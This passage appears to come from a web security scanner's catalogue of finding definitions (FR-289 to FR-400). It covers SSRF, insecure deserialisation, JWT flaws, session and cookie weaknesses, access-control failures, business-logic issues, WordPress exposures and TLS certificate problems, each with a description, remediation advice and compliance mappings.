Remediation: Validate and allowlist all server-side request targets. Block requests to private IP ranges and cloud metadata endpoints. Use a dedicated outbound request proxy with allowlisting.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A10:2025
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1190 (Initial Access), T1552.005 (Credential Access)
NIST 800-53: SI-10, SC-7
PCI DSS 4: 6.2.4
HIGH FR-289 — Blind SSRF — Internal Network Probing
Description: Blind SSRF was detected via out-of-band interaction. The server made a DNS or HTTP request to an attacker-controlled host, confirming that user-supplied URLs trigger server-side requests. Internal network probing may be possible.
Remediation: Validate and allowlist all server-side request targets. Use an SSRF-safe HTTP client library that blocks private IP ranges by default.
OWASP Web: A10:2025
CRITICAL FR-290 — Insecure Deserialization — Serialized Object Accepted
Description: A serialised object was accepted by the application without signature verification. Insecure deserialisation can lead to remote code execution, privilege escalation, or denial of service depending on the deserialisable gadget chains available.
Remediation: Avoid deserialising objects from untrusted sources. If required, sign serialised data and verify signatures before deserialisation. Use safer serialisation formats (JSON) where possible.
OWASP Web: A08:2025
CRITICAL FR-291 — Insecure Deserialization — YAML Tag Injection
Description: A YAML tag injection payload was accepted by the application. YAML parsers that support arbitrary Python object instantiation via !! tags (e.g., PyYAML) can be exploited for remote code execution.
Remediation: Use safe YAML loaders (yaml.safe_load in Python). Disable arbitrary Python object instantiation in the YAML parser.
OWASP Web: A08:2025
HIGH FR-292 — Insecure Deserialization — Error Disclosure
Description: A deserialisation error was triggered by a crafted payload and the error message was returned in the response. Error disclosure confirms the parameter is processed by a deserialiser and may guide further exploitation.
Remediation: Suppress deserialisation errors in production. Apply the remediation for insecure deserialisation.
OWASP Web: A08:2025
HIGH FR-293 — Verbose Error Messages — Stack Trace Disclosed
Description: A detailed stack trace or internal error message was returned in response to a crafted request. Stack traces disclose source file paths, class names, function names, and line numbers that assist further exploitation.
Remediation: Configure the application to return generic error pages in production. Log detailed errors server-side only.
OWASP Web: A05:2025
HIGH FR-294 — Credentials/Secret in JavaScript
Description: Credentials, API keys, tokens, or other secrets were identified in client-side JavaScript source files. Client-side secrets are visible to all users and attackers who access the page.
Remediation: Move all credentials and API keys to server-side configuration. Use environment variables and secret management solutions. Rotate any exposed credentials immediately.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 3.4.1
HIGH FR-295 — Sensitive Information in Source
Description: Sensitive information (credentials, internal URLs, private keys, PII, or internal comments) was identified in the HTML source of the page.
Remediation: Remove all sensitive data from page source. Use server-side rendering to avoid embedding sensitive values in HTML. Conduct regular source code reviews.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1592 (Reconnaissance), T1083 (Discovery)
NIST 800-53: SI-12, CM-7
PCI DSS 4: 6.5.1
CRITICAL FR-296 — Weak or Default Credentials Accepted
Description: Weak, default, or commonly-used credentials were successfully authenticated. Default or weak credentials allow attackers to gain privileged access without effort.
Remediation: Change all default credentials immediately. Enforce a strong password policy. Implement MFA. Conduct periodic credential audits.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
HIGH FR-297 — Missing Rate Limiting / Brute-Force Protection
Description: The authentication endpoint does not implement rate limiting or brute-force protection. Attackers can submit unlimited login attempts to perform credential stuffing or password brute-forcing.
Remediation: Implement progressive account lockout, CAPTCHA after failed attempts, and IP-based rate limiting on the login endpoint.
OWASP Web: A07:2025
MEDIUM FR-298 — Insufficient Auth Failure Logging / No Brute-Force Detection
Description: Authentication failures are not logged or no alerting is configured for repeated failures. Without logging, brute-force attacks may go undetected until after a successful compromise.
Remediation: Log all authentication failures with timestamp, source IP, and username. Configure alerts for repeated failures from a single IP. Integrate with a SIEM for real-time detection.
OWASP Web: A09:2025
MEDIUM FR-299 — Timing Attack — Non-Constant-Time Authentication
Description: A statistically significant timing difference was observed between valid and invalid authentication attempts. Timing oracle attacks allow attackers to enumerate valid usernames or infer partial credential validity.
Remediation: Use constant-time comparison functions for all credential verification. Ensure responses are returned after a fixed delay regardless of outcome.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1522 (Credential Access)
NIST 800-53: IA-3, SC-8
PCI DSS 4: 8.3.1
CRITICAL FR-300 — JWT None Algorithm Authentication Bypass
Description: The JWT library accepts tokens with the 'none' algorithm, meaning the signature field is empty and no verification is performed. Attackers can forge arbitrary JWT payloads to impersonate any user including administrators.
Remediation: Explicitly allowlist accepted JWT algorithms. Reject tokens with 'none' algorithm. Use a well-maintained JWT library with secure defaults.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 4.2.1, 8.3.6
CRITICAL FR-301 — JWT Vulnerability: 'none' Algorithm Accepted
Description: The application accepted a JWT token with the 'none' algorithm specified in the header, bypassing signature verification. This allows forging of arbitrary JWT claims.
Remediation: Reject all tokens with 'none' algorithm. Explicitly specify and enforce the expected signature algorithm server-side.
OWASP Web: A02:2025
CRITICAL FR-302 — JWT Vulnerability Confirmed by jwt_tool
Description: jwt_tool confirmed a JWT vulnerability that allows token forgery or authentication bypass. JWT vulnerabilities enable impersonation of arbitrary users including administrators.
Remediation: Implement strict JWT validation: verify the signature algorithm, reject 'none' algorithm, validate all claims (exp, aud, iss). Rotate signing keys.
OWASP Web: A02:2025
MEDIUM FR-303 — JWT — Missing Expiry Claim (No exp)
Description: The JWT token does not contain an 'exp' (expiry) claim. Tokens without expiry never become invalid, meaning a stolen token grants permanent access until the signing key is rotated.
Remediation: Include an 'exp' claim in all JWTs. Set a short token lifetime appropriate for the use case. Implement token refresh flows.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1539 (Collection)
NIST 800-53: IA-5, SC-23, AC-12
PCI DSS 4: 8.2.4, 8.3.9
INFO FR-304 — JWT Token Identified: Algorithm
Description: A JWT token was identified in the application. The JWT header algorithm has been extracted for analysis.
Remediation: Ensure JWT tokens are signed with a strong algorithm (RS256, ES256, or HS256 with a sufficiently random secret). Avoid 'none' or weak algorithms.
OWASP Web: A02:2025
HIGH FR-305 — Potentially Predictable Session Token
Description: The session token appears to have low entropy or a predictable pattern. Predictable tokens allow attackers to brute-force or enumerate valid sessions and impersonate other users.
Remediation: Use a cryptographically secure random number generator for session token generation. Tokens must have at least 128 bits of entropy.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1110.001 (Credential Access)
NIST 800-53: IA-5, SC-23
PCI DSS 4: 8.2.1, 8.3.6
HIGH FR-306 — Low-Entropy Session Token
Description: The session token has low statistical entropy as measured across multiple sample tokens. Low-entropy tokens can be brute-forced to hijack arbitrary user sessions.
Remediation: Generate session tokens using a CSPRNG. Ensure tokens have at least 128 bits of randomness.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1110.001 (Credential Access)
NIST 800-53: IA-5, SC-23
PCI DSS 4: 8.2.1, 8.3.6
HIGH FR-307 — Session Fixation Vulnerability
Description: The application does not rotate the session identifier after successful authentication. An attacker can set a known session ID, trick the victim into authenticating, and then use the known ID to hijack the authenticated session.
Remediation: Regenerate the session identifier immediately after every successful login. Invalidate the pre-authentication session ID.
OWASP Web: A07:2025
HIGH FR-308 — Session Not Invalidated After Logout
Description: The server-side session is not invalidated after the user logs out. The session token remains valid for an extended period after logout, allowing session reuse if the token is captured.
Remediation: Invalidate server-side session state on logout. Expire the session cookie immediately on the client. Do not rely solely on client-side cookie deletion.
OWASP Web: A07:2025
HIGH FR-309 — Session Not Invalidated Server-Side After Logout
Description: The pre-logout session token remains valid server-side after the logout request. An attacker who obtains a session token can continue to use it indefinitely after the legitimate user has logged out.
Remediation: Implement server-side session invalidation on logout. Maintain a server-side session store that immediately marks tokens as invalid on logout.
OWASP Web: A07:2025
MEDIUM FR-310 — Session Timeout Absent or Excessive
Description: The session does not expire after a reasonable period of inactivity, or no session timeout is configured. Long-lived sessions increase the window of opportunity for session hijacking attacks.
Remediation: Implement server-side session timeout. Expire idle sessions after 15-30 minutes for sensitive applications. Set appropriate cookie Max-Age/Expires attributes.
OWASP Web: A07:2025
MEDIUM FR-311 — Excessive Session Timeout Configured
Description: The session cookie or JWT has an excessive lifetime (e.g., multiple days or weeks) that does not reflect the risk level of the application. Long-lived tokens extend the exposure window after theft.
Remediation: Set session lifetimes appropriate to the application sensitivity. Use refresh token patterns for long-lived access.
OWASP Web: A07:2025
MEDIUM FR-312 — Session Cookie SameSite=None Without Secure Flag
Description: A session cookie is set with SameSite=None but without the Secure flag. Without Secure, the cookie is transmitted over plaintext HTTP when SameSite=None is used, enabling cross-site transmission of session tokens.
Remediation: Always set the Secure flag alongside SameSite=None. Enforce HTTPS for all endpoints that issue cookies.
OWASP Web: A02:2025
MEDIUM FR-313 — Missing Secure Cookie Attribute: Secure
Description: A non-session cookie lacks the Secure attribute. Without Secure, the cookie is transmitted over unencrypted HTTP connections.
Remediation: Set the Secure flag on all cookies. Enforce HTTPS site-wide.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM FR-314 — Missing Secure Cookie Attribute: HttpOnly
Description: A non-session cookie lacks the HttpOnly attribute. Without HttpOnly, client-side JavaScript can read the cookie value, enabling theft via XSS.
Remediation: Set the HttpOnly flag on all cookies that do not require JavaScript access.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A02:2025
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM FR-315 — Missing Secure Cookie Attribute: SameSite
Description: A cookie lacks the SameSite attribute. Without SameSite, the cookie is sent with cross-site requests, enabling CSRF attacks.
Remediation: Set SameSite=Strict or SameSite=Lax on all cookies. Use SameSite=None only when cross-site sharing is required (and always with Secure).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A04:2025
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM FR-316 — Misconfigured Secure Cookie Attribute: SameSite
Description: A cookie has a misconfigured SameSite attribute (e.g., SameSite=None without Secure). Misconfigured SameSite settings can negate CSRF protections or expose cookies over plaintext HTTP.
Remediation: Audit all cookie SameSite configurations. Set SameSite=Strict where possible and always pair SameSite=None with Secure.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A04:2025
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM FR-317 — No Logout (Logoff) Function Detected
Description: No logout or logoff function was identified in the application. Without an explicit logout mechanism, users cannot terminate their sessions, and sessions remain active until they expire naturally.
Remediation: Implement a logout endpoint that invalidates the server-side session and clears session cookies. Make the logout function visible and accessible from all authenticated pages.
OWASP Web: A07:2025
MEDIUM FR-318 — No Concurrent Session Limit Detected
Description: The application allows unlimited concurrent sessions for a single user account. Without a concurrent session limit, compromised credentials can be exploited from multiple locations simultaneously without detection.
Remediation: Implement a concurrent session limit appropriate to the application's risk profile. Alert users when new sessions are established from new locations.
OWASP Web: A07:2025
INFO FR-319 — Concurrent Session Limit Enforced
Description: The application enforces a concurrent session limit. When a new session is established, existing sessions are invalidated. This limits the damage from compromised credentials.
Remediation: No remediation required. This is a positive security control.
OWASP Web: A07:2025
HIGH FR-320 — CORS Misconfiguration Allowing Credential Leakage
Description: The CORS configuration reflects arbitrary origins with Access-Control-Allow-Credentials: true. This allows attacker-controlled websites to make credentialed cross-origin requests and read the response, enabling session hijacking and sensitive data theft.
Remediation: Do not reflect arbitrary origins in Access-Control-Allow-Origin when credentials are enabled. Maintain an explicit allowlist of trusted origins.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
OWASP Web: A05:2025
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: CM-6, SC-8
PCI DSS 4: 6.2.4
HIGH FR-321 — JSONP Endpoint — Cross-Origin Data Leakage
Description: A JSONP endpoint was identified. JSONP endpoints allow any website to read the response content by including a script tag, bypassing the Same-Origin Policy and enabling cross-origin data exfiltration.
Remediation: Replace JSONP with CORS. If JSONP must be retained, validate the callback parameter against a strict allowlist and enforce authentication.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1185 (Collection), T1530 (Collection)
NIST 800-53: AC-4, SC-8
PCI DSS 4: 6.4.1, 6.5.1
HIGH FR-322 — Cross-Site Request Forgery (CSRF) — Missing Token
Description: A state-changing request (POST, PUT, PATCH, DELETE) does not include a CSRF token or other origin verification mechanism. Attackers can trick authenticated users into making unintended requests from any website.
Remediation: Implement CSRF protection using synchroniser tokens, double-submit cookies, or SameSite=Strict/Lax cookies. Verify the Origin or Referer header for same-site enforcement.
OWASP Web: A04:2025
HIGH FR-323 — Unauthenticated Access to Protected Path
Description: A path or endpoint that should require authentication returned a successful response (HTTP 200) without providing valid credentials. This allows unauthenticated users to access protected functionality or data.
Remediation: Apply authentication middleware to all protected routes. Adopt a default-deny access policy.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2025
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1190 (Initial Access), T1078 (Initial Access)
NIST 800-53: AC-3, AC-2
PCI DSS 4: 7.2.1, 8.2.1
HIGH FR-324 — Debug Mode Enabled / Developer Console Exposed
Description: A debug mode or developer console is enabled and publicly accessible. Debug interfaces may expose command execution, environment variables, stack traces, and database query information.
Remediation: Disable debug mode in production. Remove all debug endpoints and developer consoles from production deployments.
OWASP Web: A05:2025
HIGH FR-325 — Cross-User Data Leakage (IDOR)
Description: Data belonging to one user was returned when authenticated as a different user by manipulating object identifiers. This constitutes Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization (BOLA).
Remediation: Implement server-side authorisation checks on every request that accesses user-specific data. Never rely on client-supplied IDs as the sole access control mechanism.
OWASP Web: A01:2025
HIGH FR-326 — Broken Object Level Authorization (IDOR / BOLA)
Description: Object-level authorisation is insufficient. Manipulation of object identifiers (IDs, UUIDs, slugs) allows access to resources belonging to other users without being authorised.
Remediation: Validate that the authenticated user is authorised to access the requested object on every API call. Use indirect object references or verify ownership server-side.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3
PCI DSS 4: 7.2.1
HIGH FR-327 — Broken Function Level Authorization (BFLA)
Description: Function-level authorisation is insufficient. A lower-privileged user can access administrative or elevated-privilege endpoints by directly requesting them.
Remediation: Implement role-based access control checks on every function/endpoint. Deny access by default and explicitly grant it based on user role.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1078 (Privilege Escalation), T1068 (Privilege Escalation)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.1
HIGH FR-328 — BFLA: Role Can Access Admin Path
Description: A lower-privileged role was able to access an administrative path. This demonstrates a broken function-level access control vulnerability.
Remediation: Restrict all admin paths to authorised roles only. Implement server-side role checks on every request to administrative endpoints.
OWASP Web: A01:2025
HIGH FR-329 — Mass Assignment / Privilege Escalation via Parameter Binding
Description: The application binds user-supplied request parameters directly to server-side objects without filtering. This allows attackers to set properties they should not be able to modify, including role, privilege, or verified status.
Remediation: Explicitly allowlist the parameters that can be bound from user input. Never bind the entire request body to a domain object without filtering.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A04:2025
OWASP API: API6:2023 – Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
HIGH FR-330 — API Endpoint Returns Same Data for All Users
Description: An API endpoint returns identical data regardless of the authenticated user's identity. This may indicate missing authorisation checks, allowing cross-user data leakage.
Remediation: Implement per-user data filtering at the API layer. Ensure all data responses are scoped to the authenticated user's authorised objects.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2025
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1530 (Collection), T1213 (Collection)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 7.2.1
MEDIUM FR-331 — Exposed Metrics Endpoint with Sensitive Data
Description: An application metrics or health check endpoint is publicly accessible and exposes sensitive information such as database credentials, internal hostnames, configuration values, or memory contents.
Remediation: Restrict metrics endpoints to internal networks or require authentication. Remove sensitive data from metric exports.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2025
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1592.002 (Reconnaissance), T1552.001 (Credential Access)
NIST 800-53: CM-7, AC-3, SI-12
PCI DSS 4: 6.5.1, 1.3.2
HIGH FR-332 — Business Logic — Hidden Price/Value Field Tampering
Description: A hidden form field or request parameter controlling a monetary or critical value (e.g., price, quantity, discount) can be modified by the client to alter server-side business logic outcomes.
Remediation: Validate all price and value calculations server-side. Never trust client-supplied price or quantity fields. Recompute values from authoritative server-side data at checkout/submission.
OWASP Web: A04:2025
HIGH FR-333 — Business Logic — Numeric Field Accepts Negative/Zero Value
Description: A numeric field (e.g., quantity, amount) accepts negative or zero values that the business logic does not validate, potentially enabling free items, credit generation, or account balance manipulation.
Remediation: Implement server-side range validation for all numeric inputs. Reject negative or zero values where they are not business-valid.
OWASP Web: A04:2025
HIGH FR-334 — Business Logic — Potential Race Condition (Duplicate Submission)
Description: Rapid concurrent submissions of the same request produce responses suggesting duplicate processing. A race condition may allow double-spending, duplicate coupon redemption, or bypassing single-use controls.
Remediation: Implement idempotency tokens for state-changing requests. Use database-level transactions and atomic operations to prevent race conditions.
OWASP Web: A04:2025
HIGH FR-335 — Business Logic — Workflow Step Directly Accessible
Description: A multi-step workflow step is directly accessible without completing preceding steps. This allows skipping of security controls, validation steps, or payment steps in the workflow.
Remediation: Enforce workflow state server-side. Verify that all prerequisite steps have been completed before allowing access to subsequent steps. Use server-side state machine validation.
OWASP Web: A04:2025
LOW FR-336 — GraphQL Field Suggestions Enabled
Description: GraphQL field suggestions are enabled. When an invalid field name is queried, the server responds with suggestions for similar valid field names. This assists attackers in enumerating the GraphQL schema without introspection access.
Remediation: Disable field suggestions in the GraphQL server configuration (e.g., in Apollo Server, disable suggestions via the formatError hook).
OWASP Web: A05:2025
MEDIUM FR-337 — GraphQL Batch Query Attack Possible
Description: GraphQL batch query execution is enabled without rate limiting. Batching allows multiple operations in a single request, enabling brute-force attacks on authentication fields and bypassing per-request rate limits.
Remediation: Limit the number of operations allowed in a single GraphQL batch request. Apply per-operation rate limiting.
OWASP Web: A04:2025
HIGH FR-338 — Public Exploit Available
Description: A public exploit was found matching an identified software component or version. The existence of a public exploit significantly lowers the bar for an attacker to successfully compromise the application.
Remediation: Apply the relevant security patch or upgrade the affected software component immediately. If patching is not immediately possible, implement compensating controls.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2025
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
HIGH FR-339 — Information Disclosure: Credentials in URL Query Parameters
Description: Credentials or session tokens were found transmitted in URL query parameters. URL query parameters are stored in browser history, web server logs, and HTTP referer headers, leading to inadvertent credential exposure.
Remediation: Transmit credentials exclusively in the HTTP request body or Authorization header. Never include sensitive values in URLs.
OWASP Web: A02:2025
INFO FR-340 — WAF/CDN Possible Session Termination
Description: An unexpected HTTP status was returned by the target, suggesting a possible session termination by WAF bot-detection heuristics. The authenticated session may no longer be valid.
Remediation: Verify that the authenticated session is still valid. If the session was terminated, re-authenticate and resume the scan.
OWASP Web: A07:2025 Identification and Authentication Failures
INFO FR-341 — Admin Panel Exposed: {apath}
INFO FR-342 — CDN Active: {_recon_cdn}
Impact: Active CDN detection reveals the content delivery and security infrastructure protecting the application. An attacker uses this to identify CDN-specific bypass techniques, origin server discovery methods, and CDN configuration weaknesses.
INFO FR-343 — CMS Detected: {cms}
INFO FR-344 — Credentials/Secret in JavaScript: {secret_type}
INFO FR-345 — Deprecated Protocol Enabled: {_tsf_proto}
INFO FR-346 — Endpoint-Specific Security Header Found: {_hn}
INFO FR-347 — Exposed Admin/Debug Endpoint: {path}
INFO FR-348 — Hidden Parameter Discovered: {param}
INFO FR-349 — HTTP Header Fingerprints {_fp_tech}: {hdr_name}
INFO FR-350 — HTTP Header Fingerprints {_pn_fp_tech}: {pname}
INFO FR-351 — HTTP Method Tampering: {method} Accepted
INFO FR-352 — JWT Token Identified: Algorithm {alg}
INFO FR-353 — Missing Security Header: {_hdr_name}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO FR-354 — Missing Security Header: {_hn}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO FR-355 — Missing Security Header: {hdr_name}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO FR-356 — Missing Security Header: {hdr}
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks. Each absent header represents a defense-in-depth layer that an attacker can bypass.
INFO FR-357 — Nuclei: {ntitle}
INFO FR-358 — PHP Error Log Exposed: {_el}
INFO FR-359 — Potential CDN Origin Bypass: {_recon_cdn}
INFO FR-360 — Public Exploit Available: {term}
INFO FR-361 — Sensitive File Exposed: {fpath}
INFO FR-362 — Sensitive Information in Source: {_sp_label}
INFO FR-363 — Sensitive Path Accessible: {cpath}
INFO FR-364 — Sensitive WordPress Path Accessible: {_ep}
INFO FR-365 — Server-Side Request Forgery (SSRF) — {ssrf_desc}
INFO FR-366 — Software Version Disclosed: {_vname} {_vver}
Impact: Disclosed software versions allow an attacker to search vulnerability databases for known CVEs affecting that specific version, reducing the effort required for targeted exploitation. Version information also reveals the organization's patching cadence and maintenance practices.
INFO FR-367 — SSL/TLS Grade: {_ts_grade}
Impact: The SSL/TLS grade reflects the overall strength of the server's TLS configuration including protocol versions, cipher suites, and certificate properties. A low grade indicates multiple weaknesses that collectively reduce the confidentiality and integrity of encrypted communications.
INFO FR-368 — SSL/TLS Vulnerability (Potential): {_tsf_id}
INFO FR-369 — SSL/TLS Vulnerability: {_tsf_id}
INFO FR-370 — Subdomain Takeover Indicator ({service})
INFO FR-371 — Subdomain Takeover — Dangling CNAME ({service})
INFO FR-372 — TimThumb Script Detected: {_t_name}{_tv2_str}
INFO FR-373 — Unauthenticated {_bi_name} Access: {_bi_desc}
INFO FR-374 — Unknown Header Identified: {hdr_name}
INFO FR-375 — Unknown Header Identified: {pname}
INFO FR-376 — Virtual Host Discovered: {full_vhost}
INFO FR-377 — WAF / Edge Security Platform Active: {_waf_names}
INFO FR-378 — WAF/CDN Challenge Page Active: {waf_cdn}
INFO FR-379 — WAF/CDN IP Block Detected: {waf_cdn}
Impact: Detection of WAF/CDN IP ranges confirms that direct access to the origin server is mediated by a security proxy. An attacker targets CDN bypass techniques (IP history, DNS records, misconfigurations) to reach the unprotected origin.
INFO FR-380 — WAF/CDN Possible Session Termination: {waf_cdn}
INFO FR-381 — WAF/CDN Session Termination Detected: {waf_cdn}
INFO FR-382 — Web Cache Poisoning: {_wcp_hdr} Reflected
INFO FR-383 — Wildcard (*) Detected: {url}
INFO FR-384 — WordPress Backup/Export File Exposed: {_bkp}
INFO FR-385 — WordPress Configuration Backup Exposed: {_cb}
INFO FR-386 — WordPress Directory Listing Enabled: {_dp}
INFO FR-387 — WordPress Parent Theme Detected: {_pt_name}{_pt_ver_str}
INFO FR-388 — WordPress Plugins Detected in Page Source ({len(_passive_plugins)} plugin(s))
INFO FR-389 — WordPress User Enumeration via Author Archives ({len(_author_users)} user(s))
INFO FR-390 — WordPress Users Exposed via REST API ({len(_ru_extracted)} user(s))
INFO FR-391 — Information Disclosure: WordPress Version
INFO FR-392 — Authentication Failure Detected
INFO FR-393 — Login Page Identified
INFO FR-394 — Missing Security Headers
Impact: Missing HTTP security headers reduce the browser's ability to enforce security boundaries, potentially exposing the application to client-side attacks including XSS, clickjacking, and MIME-type confusion. Implementing these headers is a low-effort, high-value hardening measure.
INFO FR-395 — Multi-Factor Authentication Detected
INFO FR-396 — No Web Structure Identified
Impact: The absence of web directory structure may indicate a single-page application, API-only service, or heavily restricted web root. This finding informs testing methodology — the tester should pivot to API enumeration and client-side analysis.
INFO FR-397 — SSL/TLS Certificate: Chain Incomplete
Impact: An incomplete certificate chain prevents clients from validating the certificate's trust path. Some clients may reject the connection outright, while others silently proceed without full validation, creating inconsistent security posture across the user base.
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
INFO FR-398 — SSL/TLS Certificate: Long Duration
Impact: Long-lived certificates increase the window of exposure if the private key is compromised. Industry best practice limits certificate lifetime to reduce the impact of key compromise and ensure regular rotation of cryptographic material.
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
INFO FR-399 — SSL/TLS Certificate: Missing SAN
Impact: A certificate without Subject Alternative Names (SAN) relies solely on the Common Name field for hostname validation. Modern browsers require SAN entries and may reject CN-only certificates, causing service interruptions and security warnings.
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
INFO FR-400 — SSL/TLS Certificate: Serial Number Entropy
